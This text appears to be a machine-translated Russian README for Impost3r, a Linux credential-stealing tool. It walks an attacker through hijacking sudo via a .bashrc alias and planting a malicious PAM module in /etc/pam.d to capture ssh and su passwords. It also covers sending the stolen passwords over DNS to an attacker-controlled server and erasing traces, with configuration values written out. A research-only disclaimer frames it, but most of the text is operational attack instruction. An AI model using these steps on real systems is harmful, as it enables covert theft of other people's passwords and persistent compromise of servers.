Английский
Impost3r — это инструмент, написанный на языке C и используемый для кражи различных паролей (ssh, su, sudo) под Linux.
Пользователи могут использовать эту программу для создания лазейки для кражи паролей законных пользователей.
Этот инструмент предназначен только для исследований и обучения безопасности, и пользователь принимает на себя всю юридическую и связанную с этим ответственность, вытекающую из использования этого инструмента! Автор не несет никакой юридической и сопутствующей ответственности!
Автоматически стирать следы поведения
Передача результатов по протоколу DNS
Пользователь равнодушен
GCC
Impost3r можно использовать для кражи паролей, включая службы sudo, su и ssh. Эти три службы можно условно разделить на две категории: sudo и ssh/su. Ниже мы обсудим их в двух случаях.
Для этого требуются только права обычного пользователя. Однако он может украсть только пароль соответствующего пользователя и не может украсть пароли других пользователей.
Во-первых, предположим, что злоумышленник контролирует сервер с правами обычного пользователя.
Проверьте, существует ли файл .bash_profile
в корневом каталоге пользователя. Если .bash_profile
существует: проверьте, активно ли загружается .bashrc
в файле .bash_profile
. Если он активно загружается, пропустите этот шаг и следующие две проверки и перейдите к последующим. Если он не загружен активно, то следующие два шага проверки пропускаются, а все последующие операции для .bashrc
заменяются операциями для .bash_profile
.bash_profile
следующий этап проверки.
Проверьте, существует ли файл .bash_login
в корневом каталоге пользователя. Если .bash_login
существует: проверьте, активно ли загружается .bashrc
в файле .bash_login
. Если он активно загружается, пропустите этот шаг и следующую проверку и продолжите последующие операции. Если нет, пропустите этот шаг и следующий шаг. Активная загрузка, затем пропустите следующую проверку, и все последующие операции для .bashrc
заменяются операциями для .bash_login
.bash_login
следующая проверка.
Проверьте, существует ли файл .profile
в корневом каталоге пользователя. Если файл .profile
существует: проверьте, активно ли загружается .bashrc
в файле .profile
(если он активно загружается, пропустите этот шаг и продолжите). последующие операции, если он активно не загружен, то все операции для .bashrc
в дальнейшем заменяются операциями для .profile
!!! ;Если .profile
не существует, Impost3r в принципе использовать нельзя. Конечно, вы также можете решить, создавать ли файл .bash_profile
или .profile
в зависимости от ситуации, и написать код загрузки, аналогичный приведенному. следуя за ним, чтобы загрузить .bashrc
if [ -n "$BASH_VERSION" ]; then # include .bashrc if it exists if [ -f "$HOME/.bashrc" ]; then . "$HOME/.bashrc" fi fi
Скопируйте копию пользовательского .bashrc
: cp ~/.bashrc /tmp/
и поместите эту копию по индивидуальному пути злоумышленника (в этом примере она размещается в каталоге /tmp/, и злоумышленник может ее изменить).
Измените .bashrc
(~/.bashrc) в корневом каталоге пользователя и добавьте следующий оператор в последней строке (где «/tmp/.impost3r» должен соответствовать ИМЯ ФАЙЛА ниже):
alias sudo='impost3r() { if [ -f "/tmp/.impost3r" ]; then /tmp/.impost3r "$@" && unalias sudo else unalias sudo;sudo "$@" fi }; impost3r'
После завершения добавления сохраните файл и выполните source ~/.bashrc
Затем злоумышленнику необходимо изменить исходный код Impost3r /sudo/main.h
:
/* Custom setting */ # define FILENAME "/tmp/.impost3r" 设置Impost3r在目标服务器上的位置 # define BACKUP_ORI_FILENAME ".bashrc" 表明攻击者所备份的源用户配置文件是.bashrc还是.bash_profile、.profile、.bash_login # define BACKUP_ORI_PATH "/tmp/.bashrc" 表明攻击者所备份的源用户配置文件在目标服务器上的位置 # define SAVE_OR_SEND 0 设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送) /* Send to server */ # define YOUR_DOMAIN ".com" 注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值; 但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口) # define MAX_RESEND 30 设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数 # define RESEND_INTERVAL 5 设置每一次发送密码的间隔 # define REMOTE_ADDRESS "192.168.0.12" 设置回送密码的远程地址 # define REMOTE_PORT 53 设置回送密码的远程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.cache" 设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
После завершения модификации сохраните и выполните make
в текущем каталоге.
Получите скомпилированный файл .impost3r
в текущем каталоге.
Загрузите (попробуйте скомпилировать на целевом сервере, чтобы предотвратить непредвиденные ошибки) файл .impost3r
в папку /tmp/
целевого сервера (только пример, вы можете изменить его самостоятельно, если он совпадает с определением в файле исходный код)
Злоумышленник запускает программу DNS-сервера на своем собственном сервере и ждет, пока законный пользователь использует sudo
для получения пароля.
В случае кражи пароля sudo Impost3r автоматически сотрет следы после успеха, и злоумышленнику не нужно подниматься и очищать его вручную.
Impost3r автоматически определит, является ли введенный пользователем пароль правильным паролем. Он не завершит процесс, пока пользователь не введет правильный пароль и не сотрет следы.
Пожалуйста, используйте sudo -v
чтобы определить, входит ли текущий пользователь в группу sudoer
прежде чем использовать Impost3r. Если нет, не используйте Impost3r.
Кража паролей ssh/su отличается от описанного выше метода кражи и использования паролей sudo. Он требует привилегий root и может украсть любой пароль пользователя.
Ниже в качестве примера используется Centos. Используемые файлы и способы их изменения могут быть разными.
Во-первых, предположим, что злоумышленник контролирует сервер.
Получили root-права через операцию повышения привилегий (или милый администратор запустил сервис с root-правами)
Сначала отредактируйте файл исходного кода /ssh_su/main.h
Impost3r.
/* Custom setting */ # define SSH_OR_BOTH 0 设置偷取模式,0代表仅偷取ssh密码,1代表偷取ssh及su密码,默认为0(后面会讲到区别) # define SAVE_OR_SEND 0 设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送) /* Send to server */ # define YOUR_DOMAIN ".com" 注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值; 但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口) # define MAX_RESEND 30 设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数(仅当SSH_OR_BOTH为0,此选项才有效) # define RESEND_INTERVAL 5 设置每一次发送密码的间隔(仅当SSH_OR_BOTH为0,此选项才有效) # define REMOTE_ADDRESS "192.168.0.12" 设置回送密码的远程地址 # define REMOTE_PORT 53 设置回送密码的远程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.sshsucache" 设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
После завершения модификации сохраните и выполните make
в текущем каталоге.
Получите скомпилированный файл impost3r.so
Загрузите скомпилированный impost3r.so
(попробуйте скомпилировать его на целевом сервере, чтобы предотвратить непредвиденные ошибки) в /lib/x86_64-linux-gnu/security
целевого компьютера (на разных машинах могут быть разные имена папок, разместите их в соответствии с ситуация))
Введите /etc/pam.d
. На данный момент возможны две ситуации. Если выбранный режим предназначен только для кражи пароля ssh, вам необходимо выполнить vi sshd
и добавить следующий оператор в конец файла (так и должно быть). здесь отмечено, что, за исключением Ubuntu, другие системы, основанные на этом файле Linux, могут сильно отличаться от Ubuntu. Рекомендуется прочитать правила самостоятельно, а затем добавить их в соответствующее место.
auth optional impost3r.so account optional impost3r.so
Сохраняем и выходим, перезапускаем сервисную service sshd restart
Если вы решите украсть пароли ssh и su вместе, вам необходимо выполнить vi common-auth
, добавить тот же оператор, сохранить и выйти, а также перезапустить службу sshd.
Злоумышленник запускает программу DNS-сервера на своем собственном сервере и ждет, пока законный пользователь использует ssh
для входа на целевой компьютер или использует su
для переключения пользователей для получения пароля.
В случае кражи пароля ssh/su Impost3r не может очистить следы из соображений разрешения, и злоумышленнику необходимо очистить его самостоятельно.
Обратите внимание: если для кражи настроен только пароль SSH, то в принципе гарантировано, что злоумышленник получит 100% результат кражи, но если оба настроены на кражу одновременно, не обязательно гарантируется, что злоумышленник получит результат кражи (только если установлено При отправке по DNS настройка локального сохранения не повлияет)
Не рекомендуется красть пароль su, а поскольку пароль ssh пользователя такой же, как пароль su, если вы не можете украсть пароль su, не крадите его.
Пустые пароли по умолчанию не крадут. Попробуйте проверить, есть ли у пользователя пустой пароль (проверьте, есть ли PermitEmptyPasswords yes
в файле конфигурации sshd. Если он пуст, то это все еще призрак.)
Я использовал Fdns для программы DNS-сервера и изменил некоторые параметры. Измененный исходный код можно найти в папке Fdns. Используйте команду gcc -o dns main.c util.c
чтобы скомпилировать его самостоятельно (обратите внимание, что вам необходимо его изменить. первый порт прослушивания в main.c)
Перед компиляцией Fdns проверьте значение YOUR_DOMAIN
в util.h
чтобы убедиться, что это значение соответствует значению YOUR_DOMAIN
, используемому при компиляции программы Impost3r, имплантированной на сервер, в противном случае кража может потерпеть неудачу.
Эта программа разрабатывается и изучается только в свободное время. В ее функциях могут быть ошибки. Прошу прощения и приветствуем отзывы.
ж
libbaseencode